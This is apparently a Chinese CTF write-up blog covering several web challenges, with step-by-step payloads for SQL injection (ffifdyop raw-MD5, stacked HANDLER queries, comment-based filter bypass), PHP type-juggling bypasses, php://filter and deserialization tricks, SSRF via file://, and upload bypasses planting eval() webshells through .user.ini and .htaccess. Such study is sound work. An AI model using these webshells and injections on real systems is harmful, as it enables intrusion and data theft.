[BJDCTF2020]Easy MD5–ffifdyop+弱类型比较

步骤一:ffifdyop 字符串

提交两次没反应,上 burp

GET /leveldo4.php?password=123 HTTP/1.1
Host: 3b74d3ab-4e56-4c99-b522-35a4985ebe8f.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3b74d3ab-4e56-4c99-b522-35a4985ebe8f.node4.buuoj.cn:81/leveldo4.php?password=4356
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=17cfd365782284-0647ac1c66ec6d-123b6650-1aeaa0-17cfd3657834fc
Connection: close

在响应的包中上部出现一条

Hint: select * from 'admin' where password=md5($pass,true)
  • md5(string,raw)

  • string 为需要计算的字符串
    raw是可选项- true,返回原始16字符二进制格式- false,默认,返回32字符十六进制数
    

如果md5值经过hex转成字符串后为 'or'+'xxxx' 这样的字符串,则拼接后构成的SQL语句为

select * from `admin` where password=''or'balabala'

'or' 后面的值为True时,即可构成万能密码实现SQL注入,MYSQL 的一个特性是在用作布尔型判断时,以 非零 开头的字符串会被当做整型数。比如

password=‘xxx’ or ‘123xxxxxxxxx’
相当于
password=‘xxx’ or 123
相当于
password=‘xxx’ or true

这就是我们的突破点,参考博客

常用的字符串是 ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6<trash>,(<trash>其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的<trash>会在MySQL将其转换成整型比较时丢掉),参考博客

select * from `admin` where password=''or'6<trash>'           --->  True

步骤二:弱类型比较

出现新的页面,查看源码

<!--
$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.
-->

这里要求a和b明文值不同,但md5值相同,这里两个等号是弱相等,因此只要找到两个明文a、b的md5值前面的数字相同,但后面字符串不同,比如0exxxx 的字符串,属于 md5 碰撞,该博客提供了一些符合条件的字符串

QNKCDZO ==> 0e830400451993494058024219903391
s878926199a ==> 0e545993274517709034328855841020
s155964671a ==> 0e342768416822451524974117254469
s214587387a ==> 0e848240448830537924465865611904

构造 payload

xxx/levels91.php?a=s878926199a&b=s155964671a

出现一条信息

<script>window.location.replace('./levell14.php')</script>

步骤三:强类型比较

跳转

<?phperror_reporting(0);include "flag.php";highlight_file(__FILE__);if($_POST['param1'] !== $_POST['param2']&&   md5($_POST['param1']) === md5($_POST['param2'])){    echo $flag;}

分析,要求两个参数明文不等且 md5 值相同,与第二步不同的是这里md5值比较是强相等,这里需要用到 php 的特性

PHP加密特性

md5(array()) = nullsha1(array()) = null    ereg(pattern,array()) = null vs preg_match(pattern,array) = falsestrcmp(array(), "abc") = nullstrpos(array(),"abc") = null

md5() 函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。因此可以构造 payload,即可得到 flag(要注意是 POST 提交)直接 hackbar

xxx/levell14.php?param1[]=1&param2[]=2得flag{0f0de89d-3186-4277-b899-4b294371c901}

[ZJCTF 2019]NiZhuanSiWei——伪协议

源码分析

<?php  $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";    if(preg_match("/flag/",$file)){        echo "Not now!";        exit();     }else{        include($file);  //useless.php        $password = unserialize($password);        echo $password;    }}else{    highlight_file(__FILE__);}?>

步骤一

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

需要让 $text 参数的内容为“welcome to the zjctf”,只要写入即可,这里有使用 data://php://input 两种方式,具体使用细节在知识点中阐述。

text=data://text/plain,welcome to the zjctf

构造上述即可绕过

步骤二

if(preg_match("/flag/",$file)){  echo "Not now!";  exit(); }else{  include($file);  //useless.php  $password = unserialize($password);  echo $password;}

$file 参数中不能出现 flag 字样,看到提示 useless.php,先包含它看一下(因为是php文件,我们想看到内容就需要 php://filter 伪协议)

file=php://filter/convert.base64-encode/resource=useless.php

拼接之前的 $text 得到结果

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

看到 = 号,猜测 Base64 解密,得到

<?php  class Flag{  //flag.php      public $file;      public function __tostring(){          if(isset($this->file)){              echo file_get_contents($this->file);             echo "<br>";        return ("U R SO CLOSE !///COME ON PLZ");        }      }  }  ?>

定义了Flag类,里面有 __tostring 魔术方法,它是在类被当成字符串的时候调用,然后获取file的值并输出,这里也提醒了我们 flag.php

步骤三

现在我们就包含 useless.php 文件,后面对 password进行了反序列化,我们只要让 password 反序列化出 Flag 类,当 echo password被当做字符串输出时,所以会调用该类的__tostring(),然后会输出file_get_contents($this->file),因此我们想获取 flag.php 的内容,只需要反序列化 Flag 类时指定属性 file=flag.php

<?php  class Flag{  //flag.php     public $file="flag.php";     public function __tostring(){         if(isset($this->file)){             echo file_get_contents($this->file);            echo "<br>";        return ("U R SO CLOSE !///COME ON PLZ");        }     } } $password=new Flag();echo serialize($password);?>

得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造 payload,这里 file 不需要读取了,指定useless.php 即可

/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码拿到 flag

return ("flag{a5ade601-8881-4272-a4b4-39c5eef51f33}");

知识点

TODO:伪协议整理

data://              写入数据php://input     执行phpphp://filter   读取文件内容

[SUCTF 2019]CheckIn——.user.ini

解题思路

显示上传,尝试上传一句话木马 a.php

<?php @eval($_POST['shell']);?>

提示 illegal suffix!,修改后缀为 phtml,修改内容

<script language="php">eval($_REQUEST['shell']);</script>

同样显示 illegal suffix!,加文件头 GIF89a 并改名为 a.jpg 尝试

Your dir uploads/9f5001cfc050d7bd94ad32c82c815371Your files :array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "a.jpg" [3]=> string(9) "index.php" }

上传成功,尝试抓包上传,再修改后缀为 jpg,显示上传失败,菜刀是无法连接 jpg 文件的。

也就是说服务器是不会把jpg当作php脚本来解析的,需要有别的文件辅助,目前有两种方法:1.上传.user.ini文件,此前提是上传目录中已有php文件。2. 上传.htaccess文件,此处我们选择前者,在后续题中有利用第二种方法的思路

.user.ini 文件,当我们对该目录中的任何php文件进行访问时,都会调用 .user.ini 中所指的文件以php的形式进行读取,所以我们只要在 .user.ini 文件中指向一句话木马的图片即可,然后解析图片马。正确做法是:上传.user.ini =>上传图片马=>进入图片马所在的路径并且在后面再加上index.php

这里写文件时一定要加上文件头,因为使用了exif_imagetype检查文件头是否为图片

GIF89aauto_prepend_file=a.jpg

然后上传图片马 a.jpg,上传好后,提示当前目录,注意到上传目录下还有一个 index.php,我们正好需要该目录下有一个可执行php文件,直接执行

Your dir uploads/9f5001cfc050d7bd94ad32c82c815371Your files :array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "a.jpg" [4]=> string(9) "index.php" }

执行

/uploads/9f5001cfc050d7bd94ad32c82c815371/index.php?shell=phpinfo();

正常访问,直接菜刀连接根目录拿 flag

flag{f3f01e2a-33c7-407b-be53-a709e9f995be}

知识点

  • .user.ini 作用和配置
  • GIF89a图片头文件欺骗

[MRCTF2020]你传你马呢——.htaccess

解题思路

尝试上传 test.php

<?php @eval($_POST['shell']);?>

得到结果是 “我扌your problem?”,说明没上传成功被骂了,猜测可能是文件名的问题,尝试 php3、php4、php5等都没有成功

这里的思路是上传图片后缀名的文件,之前碰到过图片.jpg并不能被服务器当作 php 脚本来解析,还是需要有别的文件来辅助

  1. 通过上传 .user.ini 文件指定要读取 .jpg 的文件名,前提是上传的目录中已有 php 文件,比如CheckIn 这道题中上传完图片提示该目录中存在 index.php 文件,我们要利用它拿 webshell
  2. 通过上传 .htaccess 文件(在知识点中介绍了该文件)

此处由于不知道目录中有无其他 php 文件,因此选择第二种方式,编写 test.jpg,内容为

<?php @eval($_POST['shell']);?>

此处没有加文件头,再次尝试,上传成功显示

/var/www/html/upload/5ee9f4743e3e311a7dac5ce86c61a075/test.jpg succesfully uploaded!

再上传 .htaccess 文件,文件内容为(注意不要加前缀)

SetHandler application/x-httpd-php

在一篇博客中看到的是,需要指定文件名才能被当作php执行,比如这里制定了 test.php,但我在实际操作中使用上面一行也能得到flag。

<FilesMatch "test.png">SetHandler application/x-httpd-php</FilesMatch>

直接上传发现是失败的,还是抓包改成图片格式来上传,显示上传成功

/var/www/html/upload/5ee9f4743e3e311a7dac5ce86c61a075/.htaccess succesfully uploaded!

菜刀连接,根目录下拿 flag

xxx/upload/5ee9f4743e3e311a7dac5ce86c61a075/test.jpgshell

知识点

.htaccess是什么 参考文章

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含多个指令的文件, 以作用于此目录及其所有子目录。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

[MRCTF2020]Ez_bypass——强弱类型绕过

解题思路

打开网站,审计代码

I put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) {    $id=$_GET['id'];    $gg=$_GET['gg'];    if (md5($id) === md5($gg) && $id !== $gg) {        echo 'You got the first step';        if(isset($_POST['passwd'])) {            $passwd=$_POST['passwd'];            if (!is_numeric($passwd))            {                 if($passwd==1234567)                 {                     echo 'Good Job!';                     highlight_file('flag.php');                     die('By Retr_0');                 }                 else                 {                     echo "can you think twice??";                 }            }            else{                echo 'You can not get it !';            }        }        else{            die('only one way to get the flag');        }      }    else {        echo "You are not a real hacker!";    }}else{    die('Please input first');}}Please input first

第一步,要求满足 md5($id) === md5($gg) && $id !== $gg值不相等,但是 md5相等,这个之前碰到过,属于 md5强类型比较,md5在处理数组时返回的是null,因此只需要构造两个不同数组即可

gg[]=1&id[]=2

第二步,passwd 不能是数字,且值为 1234567,且是弱类型比较,因此 使用字符串 1234567a即可

发一个 POST 包(passwd=1234567a)到xxx/gg[]=1&id[]=2即可得 flag

知识点

  • md5 强弱类型比较
  • php 强弱类型比较

[GYCTF2020]Blacklist–堆叠注入

解题思路

尝试,输入1,正常显示,输入1',报错。输入1'#正常

尝试 1' order by 3#,显示

error 1054 : Unknown column '3' in 'order clause'

尝试 1' order by 2#,返回结果,说明有两列

尝试 1' union select 1,2# ,返回以下内容,说明被过滤

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

有点类似之前的堆叠注入

查库:1';show databases;#查表:1';show tables;#

其中有一张表显示有 flag

array(1) {  [0]=>  string(8) "FlagHere"}array(1) {  [0]=>  string(5) "words"}

分别查两个表中的列

1';show columns from `FlagHere`;# (FlagHere 这的是 tab 上方的引号)array(6) {  [0]=>  string(4) "flag"  [1]=>  string(12) "varchar(100)"  [2]=>  string(2) "NO"  [3]=>  string(0) ""  [4]=>  NULL  [5]=>  string(0) ""}1';show columns from `words`;# (里面有 id 和 data 两个字段)array(6) {  [0]=>  string(2) "id"  [1]=>  string(7) "int(10)"  [2]=>  string(2) "NO"  [3]=>  string(0) ""  [4]=>  NULL  [5]=>  string(0) ""}array(6) {  [0]=>  string(4) "data"  [1]=>  string(11) "varchar(20)"  [2]=>  string(2) "NO"  [3]=>  string(0) ""  [4]=>  NULL  [5]=>  string(0) ""}

方法一:Handler(成功)

具体用法见之前笔记

1';handler `FlagHere` open as `f`;handler `f` read first;#

得到 flag

array(1) {  [0]=>  string(42) "flag{6770dad8-fed4-46e8-963f-00bfa94f0148}"}

方法二:构造 payload(失败)

查询中关键字都被过滤了,考虑编码的方式来绕过,通过预处理函数,进行读取数据。,payload 内容如下

1';Set @a=concat("sele","ct ","* from `FlagHere`");prepare execsql from @a;execute execsql;#

无法绕过

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

方法三:偷天换日(失败)

在这里的两个表为 FlagHere、wordswords 中有 id 和 data 两个字段,FlagHere 中有 flag 字段,当我们输入 1的时候,回显的是

array(2) {  [0]=>  string(1) "1"  [1]=>  string(7) "hahahah"}

其中有两个数据,猜测应该是 words 表,内部的语句应该是为

select id,data from words where id='$id';

操作是

  1. words 表名替换成其他的比如 words2
  2. 然后将 FlagHere 这个表名称替换成 words
  3. 在把flag这个字段替换成data
  4. 最后再插入一个 id 字段

通过这种方式,查询结果就可以输出我们构造的新 words

# 前缀 1';(这里省略,一下三句连起来输入)alter table words rename to words2;alter table FlagHere rename to words;alter table words change flag id varchar(50);#

最后查询即可。

因为前面的关键字都禁用了,所以这个也是失败的

[网鼎杯 2018]Fakebook——SQL注入+SSRF

解题思路

尝试,join进去(注意blog有网址检测,输入普通字符提示非法),username 可以点进去,观察 url 中的参数,发现 no 可以注入

?no=1 and 1 回显正常?no=1 and 0 回显错误

判列数

?no=1 order by 8 回显错误?no=1 order by 4 回显正确

显位

?no=1 union select 1,2,3,4

显示 no hack ~_~ 说明存在过滤

看了别人的wp,是经过fuzz发现union 和 select 单独都是没有被过滤的;猜测是对空格进行了过滤,使用/**/ 替换空格绕过。

显位

?no=1/**/and/**/0/**/union/**/select/**/1,2,3,4

在 username 中显示 2,说明第二位能显示

接下来是常规操作,以下内容是把 2 替换的语句

爆库输入:database()输出:fakebook爆表(这边得要括号括起来)输入:(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook')输出:users爆列名(这边得要括号括起来)输入:(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='users')输出:no,username,passwd,data查看 data 中的数据输入:(select/**/group_concat(data)/**/from/**/users)输出:O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"a.com";}

我们得到的其实是 UserInfo 序列化后的结果,这里参考一篇博客,利用的变量在构造函数中,反序列化对象会自动执行构造函数,将需要构造的 SSRF 放在 blog 属性中,让其在反序列化时被调用

<?phpclass UserInfo{    public $name = "1";    public $age = 1;    public $blog = "file:///var/www/html/flag.php";}$u = new UserInfo();echo serialize($u);// O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}?>

view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23

构造 payload,blog属性在第四位

?no=1/**/and/**/0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

F12 在控制台中找到 blog 的 src

<iframe width="100%" height="10em" src="data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3szMGIxYmNhYS1mYzJmLTQzYTktOTcxNC01MmE4MzFhODgwNzZ9IjsNCmV4aXQoMCk7DQo=">

base 64 解密得

<?php$flag = "flag{30b1bcaa-fc2f-43a9-9714-52a831a88076}";exit(0);

知识点

todo https://www.codenong.com/cs105451530/

没写完

[RoarCTF 2019]Easy Java

打开是一个登入界面,尝试点击help,弹出一个错误,提示了help.docx , 发现是GET请求,直接用hackbar发送post请求发现能下载,但是flag不在文件里,文件里也没有其它提示。

查阅 wp 发现需要将 post 请求的文件名改为 WEB-INF/web.xml,这里主要也是考这个文件泄漏

https://blog.51cto.com/u_15077552/3628761

https://blog.csdn.net/SopRomeo/article/details/104201079

https://mayi077.gitee.io/2020/01/31/RoarCTF-2019-Easy-Java/

Web 渗透题(三)相关推荐

  1. WEB 渗透题(二)

    [ACTF2020 新生赛]Upload–上传 验证了后缀名,要求上传 jpg.png.gif 结尾的图片,写一句话木马上传,一开始只能是图片的后缀,抓包改后缀为 phtml,文件内容如下 GFI89 ...

  2. Kali Linux Web 渗透测试秘籍 第三章 爬虫和蜘蛛

    第三章 爬虫和蜘蛛 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 渗透测试可以通过多种途径完成,例如黑盒.灰盒和白盒.黑盒测试在测试 ...

  3. Web渗透测试常规套路

    注:文章首发自合天智汇微信公众平台 0x01:本篇文章旨在给小白白们做一次有关web渗透的科普,其中涉及到的套路.工具可能在如今XX狗.XX盾当道的社会已不再适用,但是其中涉及的思想永远不会过时,其中 ...

  4. Web渗透 不断更新

    Web渗透 SQL注入 一般注入步骤 堆叠注入 堆叠注入原理 堆叠注入条件 堆叠注入实例 handler 盲注 GET&POST 检测绕过 变量替换.变换绕过 报错注入 SSTI模板注入 文件 ...

  5. WEB渗透面试(360)

    群友面试亲身经历--360安全面试- 本文关键字:360渗透岗位面试 出自公众号:工程师江湖 一.前言 群友最近在一些大厂进行了面试,整理了一下题,发出来可以参考下. 360 面试的笔试题 如果存在 ...

  6. 2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

    2017-2018-2 『网络对抗技术』Final:Web渗透获取WebShell权限 --------CONTENTS-------- 一.Webshell原理 1.什么是WebShell 2.We ...

  7. 小白入坑 Web 渗透测试必备指南

    小白如何快速入门 由于本人技术性受限制,可能部分内容显得不那么清晰,如有疑问请读者圈联系我.再者,内容不会完全讲清楚,因为本身话题的原因,部分会一笔带过. 小白该如何踏入 Web 安全这个坑呢?我的经 ...

  8. 软件测试:web渗透测试怎样入门!讲透了...

    一.简介 1.web渗透测试概述 渗透测试:模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法. web渗透测试:只针对web应用的渗透测试 2.常见web安全漏洞 1.输入输出验证不充分 ...

  9. 【web渗透思路】任意账号的注册、登录、重置、查看

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

最新文章

  1. excel切片器_excel中的超级好用的筛选神器——切片器
  2. Keepalived中Master和Backup角色选举策略
  3. ansible-playbook之条件判断
  4. python快递分拣小程序_python英语单词测试小程序代码实例
  5. Android之通过ActivityLifecycleCallbacks判断程序是否运行在后台
  6. django第二个项目--使用模板做一个站点访问计数器
  7. Android线程之异步消息处理机制(二)——Message、Handler、MessageQueue和Looper
  8. 从汇编的眼光看C++(之指针拷贝)
  9. 写在前面--点燃酱爆心中的那团火
  10. 设计模式(1)单例模式
  11. 【Pre-Training】超细节的 BERT/Transformer 知识点
  12. 程序员如何保护好自己的发际线
  13. 用命令行安装IIS(pkgmgr版)
  14. html5 svg编辑器,HTML5 之 SVG
  15. FastFDS文件服务部署
  16. google linux桌面快捷方式,centos7 rhel7 linux下怎么安装google chrome 设置谷歌浏览器桌面快捷方式...
  17. win10应用及应用商店闪退有效解决办法
  18. 【论文阅读】Dense Passage Retrieval for Open-Domain Question Answering
  19. grails 自动生成crud代码和前端页面
  20. subtract用法c语言,操作 subtract() - 闪电教程JSRUN

热门文章

  1. 【代码】【有统计错误,待修改】统计文件中,不同字符出现的次数(未排序)
  2. 一维码扫描, 谢谢
  3. AcWing 713. 区间 2
  4. python画熊猫论文_3D建模技术-讲稿-9-参考熊猫图片
  5. java:关于错误 需要<标识符>
  6. 2019年钎焊作业安全生产模拟考试题库及答案
  7. 云南省2021年高考成绩什么时候可以查询,2021年云南高考成绩查询时间安排 什么时候出分...
  8. SuperMap iServer加密服务,并且在SuperMap iClient通过token调用
  9. 鸿蒙os系统2k级别屏,华为鸿蒙OS概念新机:90Hz刷新率+全系双模5G+2K屏 这才是华为...
  10. 关于双排针之间的连接问题